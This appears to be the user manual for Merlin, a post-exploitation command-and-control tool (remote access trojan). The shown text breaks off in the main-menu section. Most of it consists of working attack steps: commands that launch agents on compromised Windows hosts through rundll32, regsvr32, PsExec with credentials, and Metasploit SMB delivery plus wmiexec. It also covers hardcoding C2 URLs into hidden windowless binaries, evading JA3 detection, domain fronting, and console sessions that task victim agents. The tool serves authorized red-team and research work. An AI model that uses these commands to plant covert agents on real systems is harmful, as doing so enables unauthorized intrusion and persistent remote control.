Merlin Documentation

Release BETA

Russel Van Tuyl (@Ne0nd0g)

Jan 11, 2022

Quick Start

Merlin is a post-exploit Command & Control (C2) tool, also known as a Remote Access Tool (RAT), that communicates using the HTTP/1.1, HTTP/2, and HTTP/3 protocols. HTTP/3 is the combination of HTTP/2 over the Quick UDP Internet Connections (QUIC) protocol. This tool was the result of my work evaluating HTTP/2 in a paper titled Practical Approach to Detecting and Preventing Web Application Attacks over HTTP/2. Merlin is also my first attempts at learning Golang.

Important: This tool is intended to only be used during research and authorized testing.

CHAPTER 1

Merlin Server

The quickest and recommended way is to download Merlin Server from the releases page for your host operating system (i.e Windows, macOS, or Linux).

1.1 Ubuntu Server 18.04

The following single line of code can be used to download, extract, and run Merlin Server on an Ubuntu Server:

```
sudo bash;apt update;apt install p7zip-full -y;cd /opt;wget https://github.com/
↪Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z;7z x -pmerlin -
↪omerlin merlinServer-Linux-x64.7z;cd merlin;./merlinServer-Linux-x64
```

If you're using 7zip from the command line, but sure to use the `x` flag so that the files are extracted into their respective directories.

The Merlin Server file download includes the compiled agents for all 3 major platforms in the `data/bin/` directory

Visit the *Merlin Agent* quick start to launch an agent.

CHAPTER 2

Merlin Agent

Merlin is a post-exploitation framework and therefore documentation doesn't cover any of the steps required to get to a point where you can execute code or commands on a compromised host. Exploiting or accessing a host must performed prior to leveraging Merlin.

Pre-compiled Merlin Agent binary files are distributed with the server download in the `data/bin/` directory of Merlin

The Merlin Agent source code can be found https://github.com/Ne0nd0g/merlin-agent

Retrieve with Go and build the Agent:

```
go get github.com/Ne0nd0g/merlin-agent
```

2.1 Upload & Execute

One of the more simple ways to run Merlin is by uploading the compiled binary file to a compromised host and then execute that binary.

Don't forget to specify the address of your Merlin server with the `-url` flag. Default is *https://127.0.0.1:443/*

2.2 Windows Local Command Execution

This section covers executing the Merlin agent with local command execution.

2.2.1 Windows EXE - cmd.exe

With the *merlinAgent.exe* binary file already downloaded on to the compromised host, execute it by calling it from the command line. Double clicking the executable file will cause the agent to run **without** a window, so you will not see anything, and it will connect to the **default** URL of *https://127.0.0.1:443/*. This can be changed by recompiling the agent with the hardcoded address of your Merlin server.

cmd.exe example:

```
C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/
```

2.2.2 Windows DLL - rundll32.exe

With the *merlin.dll* binary file already downloaded on to the compromised host, execute it by calling it from the command line using the *rundll32.exe* program that comes with Windows. *Run* is the name of the DLL entrypoint called when the DLL is executed. Provide the URL for your listening Merlin server after the entrypoint.

rundll32.exe example:

```
C:\Users\Bob\Downloads>C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.
↪168.1.100:443/
```

2.3 Windows Remote Command Execution

This section covers executing Merlin agent when remotely accessing a host.

2.3.1 Windows EXE - PsExec.exe

The Microsoft Sysinternals PsExec.exe application can be used to connect to a remote host, upload the Merlin agent file, and execute it. The downside to this is the Merlin agent binary file is "on disk" and provides an opportunity for Anti-Virus software to detect the application. Use PsExec's *-c* flag to specify the location of the Merlin agent file on the attacker's host that will be uploaded to the remote host. The PsExec *-d* flag is required so that control is returned to the user after executing the Merlin agent file.

PsExec.exe example:

```
PS C:\SysinternalsSuite>.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c␣
↪C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/
```

2.3.2 Windows DLL - Metasploit's SMB Delivery

One method for delivery is to use an SMB server to host the payload and execute a command on the remote host to download and run the Merlin agent file. The Metasploit *windows/smb/smb_delivery* module is a good way to quickly stand up an SMB server for delivering the payload.

Setup the `windows/smb/smb_delivery` module:

```
msf > use windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set FILE_NAME merlin.dll
FILE_NAME => merlin.dll
msf exploit(windows/smb/smb_delivery) > set EXE::Custom /opt/merlin.dll
```

(continues on next page)

(continued from previous page)

```
EXE::Custom => /opt/merlin/data/bin/dll/merlin.dll
msf exploit(windows/smb/smb_delivery) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(windows/smb/smb_delivery) > set VERBOSE true
VERBOSE => true
msf exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
msf exploit(windows/smb/smb_delivery) >
[*] Server started.
[*] Run the following command on the target machine:
[*] Using custom payload /opt/merlin.dll, RHOST and RPORT settings will be ignored!
rundll32.exe \\192.168.1.100\WxlV\merlin.dll,0
```

NOTE: We must change the DLL entry point from *0* to *Run* and provide the URL of the listening Merlin server

Now that the SMB server is setup to deliver the *merlin.dll* file, we need to remotely access the target host and execute the command. By default, Metasploit sets the entry point to *0*. We need to modify the command to change the entry point to *Run* and specify the location of our listening Merlin server. Impacket's *wmiexec.py* Python program is one way to remotely access a host.

wmiexec.py example:

NOTE: We must change the DLL entry point from *0* to *Run* and provide the URL of the listening Merlin server

```
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.10
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/
```

Advanced

The quick start examples above executed the Merlin agent and allowed the user to dynamically specify the location of the listening Merlin server with a command line parameter. There are a few instances where we the user is unable to specify, or simply don't want to, the URL for the listening Merlin server. In this case, the Merlin agent binary should be recompiled with a hardcoded URL of the listening Merlin server so that it does not need to be specified by the user during execution. *Do not continue on unless you are OK to deal with things that sometimes work and often have bugs and are not reliable.*

This will require that you have Go and gcc installed on the host compiling the application

2.3.3 Recompile DLL

The *merlin.dll* file can be configured with the hardcoded url of your Merlin server. To do this, clone the repo, modify the file, and recompile it.

1. Clone the merlin repository using git
2. Edit the *main.go* file
3. Find the string *var url = "https://127.0.0.1:443/"* and change the address
4. Compile the DLL

example:

```
cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin-agent-dll.git
cd merlin-agent-dll
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' main.go
make
```

This will leave the *merlin.dll* in the *bin/v0.5.0/* directory where *v0.5.0* is the current version number of Merlin. Now the recompiled version of the DLL can be run without having to specify the address of the Merlin server.

rundll32.exe examples:

- `rundll32.exe merlin,main`
- `rundll32.exe merlin,Run`

regsvr32.exe examples:

- `regsvr32.exe /s merlin.dll`
- `regsvr32.exe /s /u merlin.dll`
- `regsvr32.exe /s /n /i merlin.dll`

CHAPTER 3

FAQ

Frequently Asked Questions

3.1 When I double click the pre-compiled Windows agent binary, nothing happens.

The pre-compiled Merlin Agent for Windows is compiled with an option that prevents the program from showing. Double clicking the `merlinAgent-Windows-x64.exe` file will launch the agent and it will connect to the hard coded URL (default is `https://127.0.0.1:443/`). The agent will eventually die once it fails to contact the server. Options include recompiling merlinAgent with the hard coded URL of your server or running it from the command line using the `-url` flag to specify your server. View the *Custom Build* page for details on building and compiling the agent from source. Additionally, the agent can be compiled without the `-H=windowsgui` so that it doesn't disappear when executed by double clicking the file.

3.2 I get errors when trying to compile Merlin.

The biggest contributor I see for getting errors while compiling is forgetting to ensure the *GOPATH* environment variable is set. View the *Custom Build* page for details on ensuring the environment is configured properly.

3.3 Input and output redirection pipes don't work

Pipes `|` and redirectors < and > are functions of a shell. By default, Merlin only executes programs in the host's PATH variable. In order to use pipes and redirection, you must either use the `shell` command or specify the shell (i.e `/bin/bash`) when using the `run` command so that you can use these.

Because Merlin spawns a process for every command, the shell is not persistent or interactive. This requires the operator to combine multiple commands together so that they are all in the same context/environment.

Example:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»shell /bin/sh -c "ls -l >
/tmp/out.txt"
```

CHAPTER 4

Command Line Flags

The following command line flags can be used when executing Merlin agent:

```
Merlin Agent
  -debug
        Enable debug output
  -host string
        HTTP Host header
  -ja3 string
        JA3 signature string (not the MD5 hash). Overrides -proto flag
  -killdate string
        The date, as a Unix EPOCH timestamp, that the agent will quit running␣
↪(default "0")
  -maxretry string
        The maximum amount of failed checkins before the agent will quit running␣
↪(default "7")
  -padding string
        The maximum amount of data that will be randomly selected and appended to␣
↪every message (default "4096")
  -proto string
        Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1␣
↪Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)]␣
↪(default "h2")
  -proxy string
        Hardcoded proxy to use for http/1.1 traffic only that will override host␣
↪configuration
  -psk string
        Pre-Shared Key used to encrypt initial communications (default "merlin")
  -skew string
        Amount of skew, or variance, between agent checkins (default "3000")
  -sleep string
        Time for agent to sleep (default "30s")
  -url string
        Full URL for agent to connect to (default "https://127.0.0.1:443")
  -useragent string
```

(continues on next page)

(continued from previous page)

```
        The HTTP User-Agent header string that Agent will use while sending traffic␣
↪(default "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like␣
↪Gecko) Chrome/40.0.2214.85 Safari/537.36")
  -v    Enable verbose output
  -version
        Print the agent version and exit
```

4.1 Debug

By default, the Merlin Agent will not write anything to STDOUT while it is running. The `-debug` flag enables debug output and facilitates troubleshooting to identify the source of a problem.

4.2 Host

The `-host` flag is used to specify the HTTP *Host:* header when communicating with the server. This feature is predominately used for Domain Fronting.

4.3 JA3

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: `SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats`.

The `-ja3` flag allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (i.e. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

NOTE: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The `-ja3` flag will override the the `-proto` flag and will cause the agent to use the protocol provided in the JA3 hash.

4.4 KillDate

The `-killdate` flag is used to specify the date, as an Unix epoch timestamp, that the agent should quit running. EpochConverter is a good resource to generate or convert a timestamp. The default value is `0` which means the Agent does not have a killdate.

4.5 MaxRetry

The `-maxretry` flag is the maximum amount of failed checkins before the agent will quit running. The default value is 7.

4.6 Padding

The `-padding` flag is maximum amount of data that will be randomly selected and appended to every message. The default value is 4096 bytes. The data padding is intended to increase the detection difficulty for idle checkin behavior when the message size was fixed everytime.

4.7 Proto

The `-proto` flag specifies what protocol the Merlin Agent will use to communicate with the server

The `http` protocol communicates using the clear-text HTTP/1.1 protocol. This can be useful when leveraging Domain Fronting on a CDN that does not allow both fronting and TLS encrypted traffic.

The `https` protocol communicates using SSL/TLS encrypted HTTP/1.1 protocol.

The `h2c` protocol communicates using the clear-text HTTP/2 protocol. This clear-text version is not used by web browsers like Chrome and may stand out during traffic analysis. However, it also has the potential to evade detections if allowed out of the network and no network defenses are able to parse the traffic.

The `h2` protocol communicates using the TLS encrypted HTTP/2 protocol. This will start the connection with prior knowledge and will not negotiate from HTTP/1.1 to HTTP/2. Some web proxies will not allow HTTP/2 communications. In this case you should use `https`. Alternatively, the HTTP/2 protocol *might* bypass network defenses or detections.

The `http3` protocol communicates using HTTP/2 transported over QUIC known as HTTP/3. It is important to note that QUIC is a UDP protocol and may not be allowed of the network depending on egress filtering. QUIC uses TLS transport encryption.

4.8 Proxy

The `-proxy` flag is used to force HTTP/1.1 communications to go through a known proxy. At this time the Merlin Agent **WILL NOT** automatically detect if a host is configured to use a proxy. The HTTP/2 protocol does not support using a proxy. If a proxy is required to egress a network, use the `http` or `https` protocols.

4.9 PSK

The `-psk` flag is used to specify the Pre-Shared Key (PSK) that the Merlin Agent uses to initiate communication with the Merlin Server. The first message is encrypted with the PSK and subsequent messages establish a new session based encryption key using the OPAQUE protocol from this IETF draft. Additional information about OPAQUE can be found here: Merlin Goes OPAQUE for Key Exchange.

4.10 Skew

The `-skew` flag is the amount of skew, or variance, between agent checkins. The default value is 3000

4.11 Sleep

The `-sleep` flag is used to specify how long the agent will sleep between checkin attempts. **NOTE:** You must include the unit of measurement after the number. For example, `30s` is for thirty seconds and `1m` is for one minute.

4.12 URL

The `-url` flag is used to specify the Uniformed Resource Locator (URL) that the agent will attempt to communicate with. Include the protocol (i.e. `https`), the host (i.e. `127.0.0.1`), the page (i.e `/` or `/news.php`), and optionally port (i.e. `:443`). This will result in `https://127.0.0.1:443/`. **NOTE:** By default the Merlin agent will communicate on the loopback adapter.

4.13 UserAgent

The `-useragent` flag is the HTTP User-Agent header string that the Agent will use while sending traffic. The default value is: `Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36`.

4.14 Verbose

The `-v` flag enables verbose output. By default a running Merlin Agent will not write any information to STDOUT. This can be used to see what the agent is doing along with what commands it is receiving.

4.15 Version

The `-version` flag will print the Agent version to the screen and then exit.

CHAPTER 5

DLL Agent

The Merlin Agent can be compiled into a DLL using the https://github.com/Ne0nd0g/merlin-agent-dll repository. The `merlin.c` file is a very simple C file with a single function. The `VoidFunc` and `Run` functions are exported to facilitate executing the DLL.

The `VoidFunc` function name was specifically chosen to facilitate use with PowerSploit's Invoke-ReflectivePEInjection.ps1. Using `VoidFunc` requires no modification to run Merlin's DLL with Invoke-ReflectivePEInjection.

If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.

If the DLL is compiled on Linux, ensure `MinGW-w64` is installed.

5.1 Creating the DLL

The DLL can be created using the Make file with `make`

Alternatively, it can be compiled without Make by following these steps:

- **Create the required C archive file:** `go build -buildmode=c-archive main.go`
- **Compile the DLL** `gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32`

You will now have DLL file that you can use with whatever method of execution you would like.

5.2 DLL Entry Points

This table catalogs the exported functions for `merlin.dll` that can be used as an entry point when executing the DLL.

Table 1: Exported DLL Functions

Exported Function	Status	Notes
Run	Working	Main function to execute Merlin agent
DllInstall	Partial	Used with regsvr32.exe /i . Handling for `/i` not implemented
DllRegisterServer	Working	Used with regsvr32.exe
DllUnregisterServer	Working	Used with regsvr32.exe /u
ReflectiveLoader	Removed	Used with Metasploit's windows/manage/reflective_dll_inject module
Magic	Working	Exported function in `merlin.c`; used with sRDI or any other method
Merlin	Working	Exported function in `main.go`
VoidFunc	Working	Used with PowerSploit's Invoke-ReflectivePEInjection.ps1

5.3 Execution with rundll32.exe

The DLL can be executed on a Windows host using the rundll32.exe program. Examples of using `rundll32` are:

- `rundll32 merlin.dll,Run`
- `rundll32 merlin.dll,Merlin`
- `rundll32 merlin.dll,Magic`

A different Merlin server *can* be provided when executing the DLL by supplying the target URL as an argument. An example is:

```
rundll32 merlin.dll,Run https://yourdomian.com:443/
```

NOTE: Passing a custom URL only works when using cmd.exe and fails when using powershell.exe

CHAPTER 6

Custom Build

This section details how to build custom build a Merlin Agent using the Make file.

NOTE: Merlin is distributed with pre-compiled agent binaries for all major platforms in the `data/bin` directory.

6.1 Basic

The provided Make file can be used to build a new agent from **source**. It is recommended that you first use `go get github.com/Ne0nd0g/merlin-agent` to pull a copy of the Merlin source code to the host. Move into the Merlin root directory where the Make file is located.

- Windows agent: `make windows`
- Linux agent: `make linux`
- macOS agent: `make darwin`
- MIPS agent: `make mips`
- ARM agent: `make arm`

6.2 Advanced

Use the provided Make file to build a Merlin Agent with hard coded values. This removes the need for an operator to use commandline arguments and allows the Agent to simply be executed. The table below shows configurable compile options

Table 1: Build Options

Option	Description	Notes
HOST	HTTP Host header	same as `-host` commandline flag
JA3	JA3 signature string (not the MD5 hash). Overrides -proto flag	same as `-ja3` commandline flag
KILLDATE	The date, as a Unix EPOCH timestamp, that the agent will quit running	same as `-killdate` commandline flag
MAXRETRY	The maximum amount of failed checkins before the agent will quit running	same as `-maxretry` commandline flag
PADDING	The maximum amount of data that will be randomly selected and appended to every message	same as `-padding` commandline flag
PROTO	Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0)] (default 'h2')	same as `-proto` commandline flag
PROXY	Hardcoded proxy to use for http/1.1 traffic only that will override host configuration	same as `-proxy` commandline flag
PSK	Pre-Shared Key used to encrypt initial communications (default "merlin")	same as `-psk` commandline flag
SKEW	Amount of skew, or variance, between agent checkins	same as `-skew` commandline flag
SLEEP	The amount of time the Agent will sleep between checkins Must use golang time notation (e.g., `10s` for ten seconds)	same as `-sleep` command line flag
URL	Full URL for agent to connect to (default "https://127.0.0.1:443")	same as the `-url` commandline flag
USERAGENT	The HTTP User-Agent header string that Agent will use while sending traffic	same sas the `-useragent` commandline flag

An example of creating a new Linux HTTP agent that is using domain fronting through `https://merlin.com/c2endpoint.php` using a PSK of `SecurePassword1`:

```
make linux URL=https://merlin.com:443/c2endpoint.php HOST=myendpoint.azureedge.net PROTO=https PSK=SecurePassword1
```

6.3 Windows Agent

The Windows Merlin Agent executable is compiled as a GUI application instead of console application. The Merlin Agent does not have a GUI component. The reason this is used is so that the Merlin Agent window disappears after it is executed. This behavior is intentional so that the user will not see the application window. This is done with the LDFLAGS when building the agent using the `-H=windowsgui` option as shown here

This causes problems when a user **WANTS** to see the Merlin Agent verbose or debug output. To view Merlin verbose/debug output, use the Makefile `windows-debug` target (e.g., `make windows-debug`)

6.4 Cross-Compiling

The Merlin agent and server can be cross-compiled to any operating system or architecture. A list of golang supported operating systems and architectures can be found here: https://golang.org/doc/install/source#environment

Table 2: Supported Platforms

$GOOS	$GOARCH
android	arm
darwin	386
darwin	amd64
darwin	arm
darwin	arm64
dragonfly	amd64
freebsd	386
freebsd	amd64
freebsd	arm
linux	386
linux	amd64
linux	arm
linux	arm64
linux	ppc64
linux	ppc64le
linux	mips
linux	mipsle
linux	mips64
linux	mips64le
netbsd	386
netbsd	amd64
netbsd	arm
openbsd	386
openbsd	amd64
openbsd	arm
plan9	386
plan9	amd64
solaris	amd64
windows	386
windows	amd64

6.5 Mobile

The gomobile library can be used to compile for Android and iOS: https://godoc.org/golang.org/x/mobile/cmd/gomobile

These instructions can be followed to compile for Android

- Install Android SDK: https://developer.android.com/ndk/guides/index.html
- **Install gomobile:** `go get golang.org/x/mobile/cmd/gomobile`
- **Initialize gomobile:** `bin\gomobile init -ndk=C:\Users\[username]\AppData\Local\Android\Sdk\ndk`
- **Build the APK:** `bin\gomobile build -target=android merlinagent`

CHAPTER 7

Main Menu

7.1 help

After executing the Merlin server binary, interaction continues from the Merlin prompt `Merlin»`. This is the default menu presented when starting the Merlin server. To view available commands for this menu, type *help* and press enter. Tab completion can be used at any time to provide the user a list of commands that can be selected.

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands for the current menu context.

```
Merlin» help

   COMMAND  |          DESCRIPTION           |            OPTIONS
+-----------+--------------------------------+--------------------------------+
  agent     | Interact with agents or list   | interact, list
            | agents                         |
  banner    | Print the Merlin banner        |
  clear     | clears all unset jobs          |
  group     | Add, remove, or list groups    | group <add | remove | list>
            |                                | <group>
  interact  | Interact with an agent         |
  jobs      | Display all unfinished jobs    |
  listeners | Move to the listeners menu     |
  queue     | queue up commands for one, a   | queue <agentID> <command>
            | group, or unknown agents       |
  quit      | Exit and close the Merlin      | -y
            | server                         |
  remove    | Remove or delete a DEAD agent
            | from the server
  sessions  | Display a table of information |
            | about all checked-in agent     |
```

(continues on next page)

(continued from previous page)

```
            | sessions                          |
  use       | Use a Merlin module               | module <module path>
  version   | Print the Merlin server           |
            | version                           |
  !         | Execute a command on the host     | !<command> <args>
            | operating system                  |
Main Menu Help
```

7.2 agent

The `agent` command is used to interact with Merlin Agents. In most cases, the `agent` command is followed by a sub-command and then the agent's identifier. The agent identifiers are UUID version 4 strings. *The identifiers are long, but they can easily be filled in using Merlin's tab completion*. This ensures limited typing is required.

Available agent sub-command are: * [list](#list) * [interact](#interact)

7.2.1 list

The `list` option for the agent command is used to provide a list of all the available agents.

```
Merlin» agent list

+--------------------------------------+--------------+-----------------+-----------
↪+-----------+
|               AGENT GUID             |   PLATFORM   |      USER       |   HOST    ␣
↪| TRANSPORT |
+--------------------------------------+--------------+-----------------+-----------
↪+-----------+
| 54a20389-4f8a-4e3f-9f8e-a0f686ce529e |  linux/amd64 |     root        | kali      ␣
↪|  HTTP/2   |
| c1090dbc-f2f7-4d90-a241-86e0c0217786 | windows/amd64 |   ACME\Dade     | WIN-7PD32␣
↪|  HTTP/2   |
| 6af7d4a1-170f-43b7-a107-758f7855e6ba | darwin/amd64 |   nikon         | nikon-mac␣
↪|  HTTP/2   |
+--------------------------------------+--------------+-----------------+-----------
↪+-----------+
```

7.2.2 interact

The `interact` option for the agent command is used to switch an agent context menu to interact with a single agent. This will cause the prompt to change indicating the agent you are interacting with and provide a new menu of commands.

```
Merlin» agent interact 54a20389-4f8a-4e3f-9f8e-a0f686ce529e
Merlin[agent][54a20389-4f8a-4e3f-9f8e-a0f686ce529e]»
```

7.3 banner

The `banner` command is used too print the super cool ascii art banner along with the version and build numbers.

```
Merlin» banner
Merlin»


                                &&&&&&&&
                              &&&&&&&&&&&&
                             &&&&&&&&&&&&&&&
                           &&&&&&&&&&  &&&&
                          &&&&&&&&&&&&&   &&&&
                         &&&&&&&&&&&&  &   &&&&
                        &&&&&&&&&&&&&      &&&&
                       &&&&&&&&&&&&&&&      &&&
                      &&&&&&&&&&&&&&&&&      &&&
                     &&&&&&&&&&&&&&&&&&&      &&&
                    &&&&&&&&&&&&&&&&&&&&
                   &&&&&&&&&&&&&&&&&&&&&&
                   &&&&&&&&&&&&&&&&&&&&&&
                  &&&&&&&&&&&&&&&&&&&&&&&&
                 &&&&&&&&&&&&&&&&&&&&&&&&&&
                &&&&&&&&&&&&&&&&&&&&&&&&&&&&
               &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
             &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
        &&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&    &&&
    &&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&
  &&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&    &&&&&&&
&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&
&&&&&&&&&  &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&&&
&&&&&&&&&&   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&   &&&&&&&&&&
&&&&&&&&&&&      &&&&&&&&&&&&&&&&&&&&&&&      &&&&&&&&&&&
  &&&&&&&&&&&&&           MERLIN          &&&&&&&&&&&&
    &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
            &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
                    Version: 0.8.0.BETA
                    Build: nonRelease
```

7.4 clear

The `clear` command will cancel all jobs in the queue that have not been sent to the agent yet. This command will only clear jobs for ALL agents.

```
Merlin» clear
Merlin»
[+] All unsent jobs cleared at 2021-08-03T01:10:09Z
```

7.5 group

The `group` command interacts with server-side groups that agents can be added to and removed from. Arbitrary agent commands and modules can be executed against an entire group at one time.

- *add*
- *list*

- *remove*

7.5.1 add

The `group add` command adds an agent to a named group. If the group name does not exist, it will be created. The list of available agents can be tab completed.

`group add <agentID> <GroupName>`

```
Merlin» group add 99dbe632-984c-4c98-8f38-11535cb5d937 EvilCorp

[i] Agent 99dbe632-984c-4c98-8f38-11535cb5d937 added to group EvilCorp

Merlin» group add d07edfda-e119-4be2-a20f-918ab701fa3c EvilCorp

[i] Agent d07edfda-e119-4be2-a20f-918ab701fa3c added to group EvilCorp
```

7.5.2 list

The `group list` command displays all existing group names to include agents that are members of a group. The `all` group always exists and is used to task every known agent.

```
Merlin» group list
+----------+--------------------------------------+
|  GROUP   |               AGENT ID               |
+----------+--------------------------------------+
| all      | ffffffff-ffff-ffff-ffff-ffffffffffff |
| EvilCorp | 99dbe632-984c-4c98-8f38-11535cb5d937 |
| EvilCorp | d07edfda-e119-4be2-a20f-918ab701fa3c |
+----------+--------------------------------------+
```

7.5.3 remove

The `group remove` command is used to remove an agent from a named group. The list of ALL agents is tab completable but does not mean the agent is in the group. The list of existing groups can also be tab completed.

`group remove <agentID> <GroupName>`

```
Merlin» group remove 99dbe632-984c-4c98-8f38-11535cb5d937 EvilCorp
Merlin»
[i] Agent 99dbe632-984c-4c98-8f38-11535cb5d937 removed from group EvilCorp
```

7.6 interact

The `interact` command takes one argument, the agent ID, and is used to interact with the specified agent. **NOTE:** Use the built-in tab completion to cycle through and select the agent to interact with.

```
Merlin» interact c22c435f-f7c4-445b-bcd4-0d4e020645af
Merlin[agent][c22c435f-f7c4-445b-bcd4-0d4e020645af]»
```

7.7 jobs

The `jobs` command displays unfinished jobs for ALL agents.

```
Merlin» jobs

                  AGENT                  |      ID      |  COMMAND    | STATUS  |      ␣
↪CREATED         |          SENT
+----------------------------------------+------------+------------+---------+----------
↪------------+----------------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | UjNoTALgcn | pwd         | Created | 2021-08-
↪03T01:39:57Z |
  99dbe632-984c-4c98-8f38-11535cb5d937 | UHOddpFQTm | run whoami | Sent    | 2021-08-
↪03T01:40:11Z | 2021-08-03T01:40:17Z
```

7.8 queue

The `queue` command can be used to pre-load, or queue, arbitrary commands/jobs against an agent or a group. Additionally, the agent does not have to exist for this command to be used. When an agent with that ID checks in, it will receive the job.

Queue a command for one agent:

```
Merlin» queue 99dbe632-984c-4c98-8f38-11535cb5d937 run ping 8.8.8.8
[-] Created job LumWveIkKe for agent 99dbe632-984c-4c98-8f38-11535cb5d937
[-] Results job LumWveIkKe for agent 99dbe632-984c-4c98-8f38-11535cb5d937

[+]
Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=42ms TTL=128
Reply from 8.8.8.8: bytes=32 time=63ms TTL=128
Reply from 8.8.8.8: bytes=32 time=35ms TTL=128
Reply from 8.8.8.8: bytes=32 time=48ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 35ms, Maximum = 63ms, Average = 47ms
```

Queue a command for a group:

```
Merlin» queue EvilCorp run whoami

[-] Created job lkvozuKJLW for agent d07edfda-e119-4be2-a20f-918ab701fa3c

[-] Created job xKAgunnKTF for agent 99dbe632-984c-4c98-8f38-11535cb5d937
Merlin»
[-] Results job xKAgunnKTF for agent 99dbe632-984c-4c98-8f38-11535cb5d937

[+] DESKTOP-H39FR21\bob


[-] Results job lkvozuKJLW for agent d07edfda-e119-4be2-a20f-918ab701fa3c

[+] rastley
```

Queue a command for an agent that has never checked in before and is currently unknown to the server:

```
Merlin» queue c1090dbc-f2f7-4d90-a241-86e0c0217786 run whoami
[-] Created job rJVyZTuHkm for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

Warning: Some agent control commands such as `sleep` can not be queued because the agent structure must exist on the server to calculate the JWT

7.9 listeners

The `listeners` command will move into the Listeners menu.

```
Merlin» listeners
Merlin[listeners]»
```

7.10 quit

The `quit` command is used to stop and exit the Merlin server. The user will be prompted for confirmation to prevent from accidentally quitting the program. The confirmation prompt can be skipped with `quit -y`.

```
Merlin» quit

Are you sure you want to exit? [yes/NO]:
yes
[!]Quitting...
```

7.11 remove

The `remove` command is used to remove or delete an agent from the server so that it will not show up in the list of available agents.

Note: Removing an active agent will cause that agent to fail to check in and it will eventually exit.

```
Merlin» sessions

+--------------------------------------+-------------+------+--------+----------------
↪-+--------+
|              AGENT GUID              |  PLATFORM   | USER |  HOST  |    TRANSPORT
↪ | STATUS |
+--------------------------------------+-------------+------+--------+----------------
↪-+--------+
| c62ac059-e54d-4204-82a4-d5c054b63ac3 | linux/amd64 | joe  | DEV001 | HTTP/2 over
↪TLS |  Dead  |
+--------------------------------------+-------------+------+--------+----------------
↪-+--------+

Merlin» remove c62ac059-e54d-4204-82a4-d5c054b63ac3
```

(continues on next page)

(continued from previous page)

```
Merlin»
[i] Agent c62ac059-e54d-4204-82a4-d5c054b63ac3 was removed from the server
Merlin» sessions

+------------+----------+------+------+-----------+--------+
| AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS |
+------------+----------+------+------+-----------+--------+
+------------+----------+------+------+-----------+--------+

Merlin»
```

7.12 sessions

The `sessions` command is used to quickly list information about established agents from the main menu to include their status. The sessions command is available from any menu in the CLI.

- **AGENT GUID**: A unique identifier for every running instance
- **TRANSPORT**: The protocol the agent is communicating over
- **PLATFORM**: The operating system and architecture the agent is running on
- **HOST**: The hostname where the agent is running
- **USER**: The username that hte agent is running as
- **PROCESS**: The Agent's process name followed by its Process ID (PID) in parenthesis
- **STATUS**: The Agent's communiction status of either active, delayed, or dead
- **LAST CHECKIN**: The amount of time that has passed since the agent last checked in
- **NOTE**: A free-form text area for operators to record notes about a specific agent; tracked server-side only

```
Merlin» sessions

                AGENT GUID               |    TRANSPORT    |   PLATFORM    |      HOST
↪      |         USER          |                  PROCESS                   | STATUS |
↪LAST CHECKIN |      NOTE
+--------------------------------------+----------------+---------------+------------
↪-----+---------------------+-------------------------------------------+--------+----
↪----------+-----------------+
  d07edfda-e119-4be2-a20f-918ab701fa3c | HTTP/2 over TLS | linux/amd64   | ubuntu
↪      | rastley             | main(200769)                              | Active |
↪0:00:08 ago  | Demo Agent Here
```

7.13 use

